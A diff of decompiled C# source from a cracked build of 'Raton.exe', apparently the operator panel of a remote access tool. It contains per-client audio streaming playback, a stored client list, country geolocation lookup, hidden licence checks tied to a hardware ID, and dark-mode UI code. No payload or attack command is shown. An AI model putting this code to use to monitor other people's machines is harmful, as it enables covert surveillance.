||||
AudioDispatch.signal.WaitOne();
|
||||
while (true)
|
||||
{
|
||||
(string uid, byte[] data, int length) result;
|
||||
if (AudioDispatch.queue.TryDequeue(out result))
|
||||
{
|
||||
try
|
||||
{
|
||||
AudioPlayer.Play(result.uid, result.data, result.length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
else
|
||||
goto label_0;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("Error");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,91 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: AudioPlayer
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using NAudio.Wave;
|
||||
using NAudio.Wave.SampleProviders;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
#nullable disable
|
||||
public static class AudioPlayer
|
||||
{
|
||||
private static readonly Dictionary<string, AudioPlayer.AudioStream> streams = new Dictionary<string, AudioPlayer.AudioStream>();
|
||||
private static readonly object lockObj = new object();
|
||||
private static readonly WaveFormat format = new WaveFormat(44100, 16 /*0x10*/, 1);
|
||||
|
||||
public static void Play(string uid, byte[] data, int length)
|
||||
{
|
||||
lock (AudioPlayer.lockObj)
|
||||
{
|
||||
AudioPlayer.AudioStream audioStream;
|
||||
if (!AudioPlayer.streams.TryGetValue(uid, out audioStream))
|
||||
{
|
||||
try
|
||||
{
|
||||
audioStream = new AudioPlayer.AudioStream()
|
||||
{
|
||||
Buffer = new BufferedWaveProvider(AudioPlayer.format)
|
||||
{
|
||||
BufferDuration = TimeSpan.FromSeconds(20.0),
|
||||
DiscardOnBufferOverflow = true
|
||||
},
|
||||
Mixer = new MixingSampleProvider(WaveFormat.CreateIeeeFloatWaveFormat(AudioPlayer.format.SampleRate, AudioPlayer.format.Channels))
|
||||
{
|
||||
ReadFully = true
|
||||
}
|
||||
};
|
||||
audioStream.SampleProvider = new Wave16ToFloatProvider((IWaveProvider) audioStream.Buffer).ToSampleProvider();
|
||||
audioStream.Mixer.AddMixerInput(audioStream.SampleProvider);
|
||||
audioStream.Output = new WaveOutEvent()
|
||||
{
|
||||
DesiredLatency = 100
|
||||
};
|
||||
audioStream.Output.Init((ISampleProvider) audioStream.Mixer);
|
||||
audioStream.Output.Play();
|
||||
AudioPlayer.streams[uid] = audioStream;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
audioStream.Buffer.AddSamples(data, 0, length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void Remove(string uid)
|
||||
{
|
||||
lock (AudioPlayer.lockObj)
|
||||
{
|
||||
AudioPlayer.AudioStream audioStream;
|
||||
if (!AudioPlayer.streams.TryGetValue(uid, out audioStream))
|
||||
return;
|
||||
try
|
||||
{
|
||||
audioStream.Output?.Stop();
|
||||
audioStream.Output?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
AudioPlayer.streams.Remove(uid);
|
||||
}
|
||||
}
|
||||
|
||||
private class AudioStream
|
||||
{
|
||||
public BufferedWaveProvider Buffer;
|
||||
public ISampleProvider SampleProvider;
|
||||
public MixingSampleProvider Mixer;
|
||||
public WaveOutEvent Output;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ClientStorage
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text.Json;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
public static class ClientStorage
|
||||
{
|
||||
private static string FilePath = Path.Combine(MainWindow.appData, "clients.json");
|
||||
public static List<StoredClient> Clients = new List<StoredClient>();
|
||||
|
||||
public static void Load()
|
||||
{
|
||||
if (!Directory.Exists(MainWindow.appData))
|
||||
Directory.CreateDirectory(MainWindow.appData);
|
||||
if (!File.Exists(ClientStorage.FilePath))
|
||||
ClientStorage.Clients = new List<StoredClient>();
|
||||
else
|
||||
ClientStorage.Clients = JsonSerializer.Deserialize<List<StoredClient>>(File.ReadAllText(ClientStorage.FilePath)) ?? new List<StoredClient>();
|
||||
}
|
||||
|
||||
public static void Save()
|
||||
{
|
||||
if (!Directory.Exists(MainWindow.appData))
|
||||
Directory.CreateDirectory(MainWindow.appData);
|
||||
string contents = JsonSerializer.Serialize<List<StoredClient>>(ClientStorage.Clients, new JsonSerializerOptions()
|
||||
{
|
||||
WriteIndented = true
|
||||
});
|
||||
File.WriteAllText(ClientStorage.FilePath, contents);
|
||||
}
|
||||
|
||||
public static void Add(StoredClient client)
|
||||
{
|
||||
ClientStorage.Clients.Add(client);
|
||||
ClientStorage.Save();
|
||||
}
|
||||
|
||||
public static void DeleteUID(string uid)
|
||||
{
|
||||
ClientStorage.Clients.RemoveAll((Predicate<StoredClient>) (x => x.UID == uid));
|
||||
ClientStorage.Save();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: CountryLocation
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Newtonsoft.Json.Linq;
|
||||
using Raton.Classes;
|
||||
using RatonBack;
|
||||
using System;
|
||||
using System.Net.Http;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows;
|
||||
|
||||
#nullable disable
|
||||
public static class CountryLocation
|
||||
{
|
||||
private static readonly HttpClient http = new HttpClient()
|
||||
{
|
||||
Timeout = TimeSpan.FromSeconds(5.0)
|
||||
};
|
||||
|
||||
private static async void clientInformation()
|
||||
{
|
||||
try
|
||||
{
|
||||
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
public static async Task<(double Lat, double Lon)?> GetCapitalCoordinatesAsync(string countryName)
|
||||
{
|
||||
try
|
||||
{
|
||||
string requestUri = "https://restcountries.com/v3.1/name/" + Uri.EscapeDataString(countryName);
|
||||
JArray jarray = JArray.Parse(await CountryLocation.http.GetStringAsync(requestUri));
|
||||
if (jarray.Count > 0)
|
||||
{
|
||||
JToken jtoken = jarray[0][(object) "capitalInfo"];
|
||||
if (jtoken?[(object) "latlng"] != null)
|
||||
return new (double, double)?(((double) jtoken[(object) "latlng"][(object) 0], (double) jtoken[(object) "latlng"][(object) 1]));
|
||||
CountryLocation.clientInformation();
|
||||
}
|
||||
CountryLocation.clientInformation();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return new (double, double)?();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: CustomControls.CustomSwitch
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace CustomControls;
|
||||
|
||||
public class CustomSwitch : CheckBox
|
||||
{
|
||||
private Color onBackColor = ColorTranslator.FromHtml("#69f58e");
|
||||
private Color onToggleColor = Color.WhiteSmoke;
|
||||
private Color offBackColor = Color.Gray;
|
||||
private Color offToggleColor = Color.Gainsboro;
|
||||
private bool solidStyle = true;
|
||||
private float togglePosition;
|
||||
private bool isChecked;
|
||||
|
||||
[Category("Custom")]
|
||||
public Color OnBackColor
|
||||
{
|
||||
get => this.onBackColor;
|
||||
set
|
||||
{
|
||||
this.onBackColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
[Category("Custom")]
|
||||
public Color OnToggleColor
|
||||
{
|
||||
get => this.onToggleColor;
|
||||
set
|
||||
{
|
||||
this.onToggleColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
[Category("Custom")]
|
||||
public Color OffBackColor
|
||||
{
|
||||
get => this.offBackColor;
|
||||
set
|
||||
{
|
||||
this.offBackColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
[Category("Custom")]
|
||||
public Color OffToggleColor
|
||||
{
|
||||
get => this.offToggleColor;
|
||||
set
|
||||
{
|
||||
this.offToggleColor = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
[Browsable(false)]
|
||||
public override string Text
|
||||
{
|
||||
get => base.Text;
|
||||
set
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[Category("Custom")]
|
||||
[DefaultValue(true)]
|
||||
public bool SolidStyle
|
||||
{
|
||||
get => this.solidStyle;
|
||||
set
|
||||
{
|
||||
this.solidStyle = value;
|
||||
this.Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
public new event EventHandler CheckedChanged;
|
||||
|
||||
[Category("Custom")]
|
||||
[DefaultValue(false)]
|
||||
public new bool Checked
|
||||
{
|
||||
get => this.isChecked;
|
||||
set
|
||||
{
|
||||
if (this.isChecked == value)
|
||||
return;
|
||||
this.isChecked = value;
|
||||
this.AnimateToggle();
|
||||
this.Invalidate();
|
||||
EventHandler checkedChanged = this.CheckedChanged;
|
||||
if (checkedChanged == null)
|
||||
return;
|
||||
checkedChanged((object) this, EventArgs.Empty);
|
||||
}
|
||||
}
|
||||
|
||||
public CustomSwitch()
|
||||
{
|
||||
this.MinimumSize = new Size(45, 22);
|
||||
this.togglePosition = 2f;
|
||||
this.isChecked = false;
|
||||
}
|
||||
|
||||
private GraphicsPath GetFigurePath()
|
||||
{
|
||||
int num = this.Height - 1;
|
||||
Rectangle rect1 = new Rectangle(0, 0, num, num);
|
||||
Rectangle rect2 = new Rectangle(this.Width - num - 2, 0, num, num);
|
||||
GraphicsPath figurePath = new GraphicsPath();
|
||||
figurePath.StartFigure();
|
||||
figurePath.AddArc(rect1, 90f, 180f);
|
||||
figurePath.AddArc(rect2, 270f, 180f);
|
||||
figurePath.CloseFigure();
|
||||
return figurePath;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs pevent)
|
||||
{
|
||||
int num = this.Height - 5;
|
||||
pevent.Graphics.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
pevent.Graphics.Clear(this.Parent.BackColor);
|
||||
bool flag = !this.Enabled;
|
||||
Color color1;
|
||||
Color color2;
|
||||
if (this.isChecked)
|
||||
{
|
||||
color1 = this.onBackColor;
|
||||
color2 = this.onToggleColor;
|
||||
}
|
||||
else
|
||||
{
|
||||
color1 = this.offBackColor;
|
||||
color2 = this.offToggleColor;
|
||||
}
|
||||
if (flag)
|
||||
{
|
||||
color1 = this.Darken(color1);
|
||||
color2 = this.Darken(color2);
|
||||
}
|
||||
if (this.solidStyle)
|
||||
pevent.Graphics.FillPath((Brush) new SolidBrush(color1), this.GetFigurePath());
|
||||
else
|
||||
pevent.Graphics.DrawPath(new Pen(color1, 2f), this.GetFigurePath());
|
||||
pevent.Graphics.FillEllipse((Brush) new SolidBrush(color2), new Rectangle((int) this.togglePosition, 2, num, num));
|
||||
}
|
||||
|
||||
private Color Darken(Color color, float factor = 0.35f)
|
||||
{
|
||||
return Color.FromArgb((int) color.A, (int) ((double) color.R * (double) factor), (int) ((double) color.G * (double) factor), (int) ((double) color.B * (double) factor));
|
||||
}
|
||||
|
||||
protected override void OnClick(EventArgs e)
|
||||
{
|
||||
base.OnClick(e);
|
||||
this.Checked = !this.Checked;
|
||||
}
|
||||
|
||||
private async void AnimateToggle()
|
||||
{
|
||||
CustomSwitch customSwitch = this;
|
||||
int num = customSwitch.Checked ? 2 : customSwitch.Width - customSwitch.Height + 1;
|
||||
int end = customSwitch.Checked ? customSwitch.Width - customSwitch.Height + 1 : 2;
|
||||
int step = end > num ? 2 : -2;
|
||||
for (int i = num; (step > 0 ? (i <= end ? 1 : 0) : (i >= end ? 1 : 0)) != 0; i += step)
|
||||
{
|
||||
customSwitch.togglePosition = (float) i;
|
||||
customSwitch.Invalidate();
|
||||
await Task.Delay(5);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.Base64Image
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class Base64Image
|
||||
{
|
||||
public Base64Image()
|
||||
{
|
||||
}
|
||||
|
||||
public Base64Image(string pName, string pBase64Data)
|
||||
{
|
||||
this.Name = pName;
|
||||
this.Base64Data = pBase64Data;
|
||||
}
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Base64Data { get; set; }
|
||||
|
||||
public Image Image
|
||||
{
|
||||
get
|
||||
{
|
||||
return string.IsNullOrEmpty(this.Base64Data) ? (Image) null : Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(this.Base64Data)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.ControlStatusInfo
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class ControlStatusInfo
|
||||
{
|
||||
public bool IsExcluded { get; set; }
|
||||
|
||||
public bool LastThemeAppliedIsDark { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.ControlStatusStorage
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class ControlStatusStorage
|
||||
{
|
||||
private readonly ConditionalWeakTable<Control, ControlStatusInfo> _controlsProcessed = new ConditionalWeakTable<Control, ControlStatusInfo>();
|
||||
|
||||
public void ExcludeFromProcessing(Control control)
|
||||
{
|
||||
this._controlsProcessed.Remove(control);
|
||||
this._controlsProcessed.Add(control, new ControlStatusInfo()
|
||||
{
|
||||
IsExcluded = true
|
||||
});
|
||||
}
|
||||
|
||||
public ControlStatusInfo GetControlStatusInfo(Control control)
|
||||
{
|
||||
ControlStatusInfo controlStatusInfo;
|
||||
this._controlsProcessed.TryGetValue(control, out controlStatusInfo);
|
||||
return controlStatusInfo;
|
||||
}
|
||||
|
||||
public void RegisterProcessedControl(Control control, bool isDarkMode)
|
||||
{
|
||||
this._controlsProcessed.Add(control, new ControlStatusInfo()
|
||||
{
|
||||
IsExcluded = false,
|
||||
LastThemeAppliedIsDark = isDarkMode
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.CustomColorTable
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class CustomColorTable : ProfessionalColorTable
|
||||
{
|
||||
public OSThemeColors Colors { get; set; }
|
||||
|
||||
public CustomColorTable(OSThemeColors _Colors)
|
||||
{
|
||||
this.Colors = _Colors;
|
||||
this.UseSystemColors = false;
|
||||
}
|
||||
|
||||
public override Color ToolStripDropDownBackground => this.Colors.Background;
|
||||
|
||||
public override Color ImageMarginGradientBegin => this.Colors.Background;
|
||||
|
||||
public override Color ImageMarginGradientMiddle => this.Colors.Background;
|
||||
|
||||
public override Color ImageMarginGradientEnd => this.Colors.Background;
|
||||
}
|
||||
@@ -0,0 +1,815 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DarkModeForms.DarkModeCS
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Microsoft.Win32;
|
||||
using Raton.Classes;
|
||||
using Raton.RatonForms;
|
||||
using RatonBack;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
using System.Windows.Forms.Layout;
|
||||
|
||||
#nullable disable
|
||||
namespace DarkModeForms;
|
||||
|
||||
public class DarkModeCS
|
||||
{
|
||||
public const int EM_SETCUEBANNER = 5377;
|
||||
public const int WM_SETTINGSCHANGE = 26;
|
||||
public const int WM_THEMECHANGED = 794;
|
||||
public const int GWLP_WNDPROC = -4;
|
||||
private const string USER32 = "user32.dll";
|
||||
private static readonly ControlStatusStorage controlStatusStorage = new ControlStatusStorage();
|
||||
private static ControlEventHandler ownerFormControlAdded;
|
||||
private static EventHandler controlHandleCreated;
|
||||
private static ControlEventHandler controlControlAdded;
|
||||
private bool _IsDarkMode;
|
||||
private IntPtr originalWndProc;
|
||||
private DarkModeCS.WndProc newWndProcDelegate;
|
||||
private bool applyingTheme;
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, [MarshalAs(UnmanagedType.LPWStr)] string lParam);
|
||||
|
||||
[DllImport("DwmApi")]
|
||||
public static extern int DwmSetWindowAttribute(
|
||||
IntPtr hwnd,
|
||||
int attr,
|
||||
int[] attrValue,
|
||||
int attrSize);
|
||||
|
||||
[DllImport("dwmapi.dll")]
|
||||
public static extern int DwmGetWindowAttribute(
|
||||
IntPtr hwnd,
|
||||
int dwAttribute,
|
||||
out DarkModeCS.RECT pvAttribute,
|
||||
int cbAttribute);
|
||||
|
||||
[DllImport("uxtheme.dll", CharSet = CharSet.Unicode)]
|
||||
private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList);
|
||||
|
||||
[DllImport("dwmapi.dll", EntryPoint = "#127")]
|
||||
public static extern void DwmGetColorizationParameters(ref DarkModeCS.DWMCOLORIZATIONcolors colors);
|
||||
|
||||
[DllImport("Gdi32.dll")]
|
||||
private static extern IntPtr CreateRoundRectRgn(
|
||||
int nLeftRect,
|
||||
int nTopRect,
|
||||
int nRightRect,
|
||||
int nBottomRect,
|
||||
int nWidthEllipse,
|
||||
int nHeightEllipse);
|
||||
|
||||
[DllImport("user32")]
|
||||
private static extern IntPtr GetDC(IntPtr hwnd);
|
||||
|
||||
[DllImport("user32")]
|
||||
private static extern IntPtr ReleaseDC(IntPtr hwnd, IntPtr hdc);
|
||||
|
||||
private static IntPtr GetHeaderControl(ListView list)
|
||||
{
|
||||
return DarkModeCS.SendMessage(list.Handle, 4127, IntPtr.Zero, "");
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", EntryPoint = "SetWindowLong")]
|
||||
private static extern int SetWindowLong32(IntPtr hWnd, int nIndex, int dwNewLong);
|
||||
|
||||
[DllImport("user32.dll", EntryPoint = "SetWindowLongPtr")]
|
||||
private static extern IntPtr SetWindowLongPtr64(IntPtr hWnd, int nIndex, IntPtr dwNewLong);
|
||||
|
||||
public static IntPtr SetWindowLongPtr(IntPtr hWnd, int nIndex, IntPtr dwNewLong)
|
||||
{
|
||||
return IntPtr.Size == 8 ? DarkModeCS.SetWindowLongPtr64(hWnd, nIndex, dwNewLong) : new IntPtr(DarkModeCS.SetWindowLong32(hWnd, nIndex, dwNewLong.ToInt32()));
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern IntPtr CallWindowProc(
|
||||
IntPtr lpPrevWndFunc,
|
||||
IntPtr hWnd,
|
||||
int msg,
|
||||
IntPtr wParam,
|
||||
IntPtr lParam);
|
||||
|
||||
public DarkModeCS.DisplayMode ColorMode { get; set; }
|
||||
|
||||
public bool IsDarkMode => this._IsDarkMode;
|
||||
|
||||
public bool ColorizeIcons { get; set; }
|
||||
|
||||
public bool RoundedPanels { get; set; }
|
||||
|
||||
public Form OwnerForm { get; set; }
|
||||
|
||||
public OSThemeColors OScolors { get; set; }
|
||||
|
||||
public DarkModeCS(Form _Form, bool _ColorizeIcons = false, bool _RoundedPanels = false)
|
||||
{
|
||||
DarkModeCS darkModeCs = this;
|
||||
this.OwnerForm = _Form;
|
||||
this.ColorizeIcons = _ColorizeIcons;
|
||||
this.RoundedPanels = _RoundedPanels;
|
||||
if (this.originalWndProc == IntPtr.Zero)
|
||||
_Form.HandleCreated += (EventHandler) ((sender, e) =>
|
||||
{
|
||||
darkModeCs.newWndProcDelegate = new DarkModeCS.WndProc(darkModeCs.CustomWndProc);
|
||||
darkModeCs.originalWndProc = DarkModeCS.SetWindowLongPtr(_Form.Handle, -4, Marshal.GetFunctionPointerForDelegate<DarkModeCS.WndProc>(darkModeCs.newWndProcDelegate));
|
||||
});
|
||||
_Form.Load += (EventHandler) ((sender, e) =>
|
||||
{
|
||||
darkModeCs._IsDarkMode = darkModeCs.isDarkMode();
|
||||
if (darkModeCs.ColorMode != DarkModeCS.DisplayMode.SystemDefault)
|
||||
darkModeCs._IsDarkMode = darkModeCs.ColorMode == DarkModeCS.DisplayMode.DarkMode;
|
||||
darkModeCs.ApplyTheme(darkModeCs._IsDarkMode);
|
||||
});
|
||||
}
|
||||
|
||||
private IntPtr CustomWndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
if (msg == 26 && !this.applyingTheme)
|
||||
{
|
||||
this.applyingTheme = true;
|
||||
this._IsDarkMode = this.isDarkMode();
|
||||
if (this.ColorMode != DarkModeCS.DisplayMode.SystemDefault)
|
||||
this._IsDarkMode = this.ColorMode == DarkModeCS.DisplayMode.DarkMode;
|
||||
this.ApplyTheme(this._IsDarkMode);
|
||||
this.applyingTheme = false;
|
||||
}
|
||||
return DarkModeCS.CallWindowProc(this.originalWndProc, hWnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
private static async Task DarkMode()
|
||||
{
|
||||
(bool, string) valueTuple = await BackendClient.CheckDevice(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId());
|
||||
if (!valueTuple.Item1)
|
||||
return;
|
||||
int num = (int) System.Windows.MessageBox.Show(valueTuple.Item2);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
public bool isDarkMode() => DarkModeCS.GetWindowsColorMode() <= 0;
|
||||
|
||||
public void ApplyTheme(bool pIsDarkMode = true)
|
||||
{
|
||||
try
|
||||
{
|
||||
this._IsDarkMode = this._IsDarkMode != pIsDarkMode ? pIsDarkMode : this._IsDarkMode;
|
||||
if (this.OScolors == null)
|
||||
this.OScolors = DarkModeCS.GetSystemColors(this.OwnerForm, pIsDarkMode ? 0 : 1);
|
||||
if (this.OScolors == null)
|
||||
return;
|
||||
DarkModeCS.ApplySystemDarkTheme((Control) this.OwnerForm, pIsDarkMode);
|
||||
this.OwnerForm.BackColor = this.OScolors.Background;
|
||||
this.OwnerForm.ForeColor = this.OScolors.TextInactive;
|
||||
if (this.OwnerForm == null)
|
||||
return;
|
||||
foreach (Control control in (ArrangedElementCollection) this.OwnerForm.Controls)
|
||||
this.ThemeControl(control);
|
||||
if (DarkModeCS.ownerFormControlAdded == null)
|
||||
DarkModeCS.ownerFormControlAdded = (ControlEventHandler) ((sender, e) => this.ThemeControl(e.Control));
|
||||
this.OwnerForm.ControlAdded -= DarkModeCS.ownerFormControlAdded;
|
||||
this.OwnerForm.ControlAdded += DarkModeCS.ownerFormControlAdded;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) System.Windows.Forms.MessageBox.Show(ex.Message + ex.StackTrace, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Hand);
|
||||
}
|
||||
}
|
||||
|
||||
public void ApplyTheme(DarkModeCS.DisplayMode pColorMode)
|
||||
{
|
||||
this._IsDarkMode = this.isDarkMode();
|
||||
if (this.ColorMode != DarkModeCS.DisplayMode.SystemDefault)
|
||||
this._IsDarkMode = this.ColorMode == DarkModeCS.DisplayMode.DarkMode;
|
||||
this.ApplyTheme(this._IsDarkMode);
|
||||
}
|
||||
|
||||
public async void ThemeControl(Control control)
|
||||
{
|
||||
DarkModeCS darkModeCs = this;
|
||||
ControlStatusInfo controlStatusInfo = DarkModeCS.controlStatusStorage.GetControlStatusInfo(control);
|
||||
if (controlStatusInfo != null)
|
||||
{
|
||||
if (controlStatusInfo.IsExcluded)
|
||||
return;
|
||||
if (controlStatusInfo.LastThemeAppliedIsDark == darkModeCs.IsDarkMode)
|
||||
return;
|
||||
controlStatusInfo.LastThemeAppliedIsDark = darkModeCs.IsDarkMode;
|
||||
}
|
||||
else
|
||||
DarkModeCS.controlStatusStorage.RegisterProcessedControl(control, darkModeCs.IsDarkMode);
|
||||
BorderStyle borderStyle = darkModeCs.IsDarkMode ? BorderStyle.FixedSingle : BorderStyle.Fixed3D;
|
||||
FlatStyle flatStyle = darkModeCs.IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard;
|
||||
if (DarkModeCS.controlHandleCreated == null)
|
||||
DarkModeCS.controlHandleCreated = (EventHandler) ((sender, e) => DarkModeCS.ApplySystemDarkTheme((Control) sender, this.IsDarkMode));
|
||||
control.HandleCreated -= DarkModeCS.controlHandleCreated;
|
||||
control.HandleCreated += DarkModeCS.controlHandleCreated;
|
||||
if (DarkModeCS.controlControlAdded == null)
|
||||
DarkModeCS.controlControlAdded = (ControlEventHandler) ((sender, e) => this.ThemeControl(e.Control));
|
||||
control.ControlAdded -= DarkModeCS.controlControlAdded;
|
||||
control.ControlAdded += DarkModeCS.controlControlAdded;
|
||||
DarkModeCS.SetWindowTheme(control.Handle, darkModeCs.IsDarkMode ? "DarkMode_Explorer" : "DarkMode_Explorer", (string) null);
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) darkModeCs.OScolors.Control);
|
||||
System.Drawing.Color color = (System.Drawing.Color) control.GetType().GetProperty("ForeColor")?.GetValue((object) control);
|
||||
if (color == System.Drawing.Color.Black || color == System.Drawing.Color.White || color == System.Drawing.SystemColors.ControlText || color == System.Drawing.Color.FromArgb((int) byte.MaxValue, 176 /*0xB0*/, 176 /*0xB0*/, 176 /*0xB0*/) || color == System.Drawing.SystemColors.WindowText || color == System.Drawing.SystemColors.GrayText)
|
||||
control.GetType().GetProperty("ForeColor")?.SetValue((object) control, (object) darkModeCs.OScolors.TextActive);
|
||||
Label lbl = control as Label;
|
||||
if (lbl != null)
|
||||
{
|
||||
control.GetType().GetProperty("BackColor")?.SetValue((object) control, (object) control.Parent.BackColor);
|
||||
control.GetType().GetProperty("BorderStyle")?.SetValue((object) control, (object) BorderStyle.None);
|
||||
control.Paint += (PaintEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (control.Enabled || !this.IsDarkMode)
|
||||
return;
|
||||
e.Graphics.Clear(control.Parent.BackColor);
|
||||
e.Graphics.SmoothingMode = SmoothingMode.HighQuality;
|
||||
using (Brush brush = (Brush) new SolidBrush(control.ForeColor))
|
||||
{
|
||||
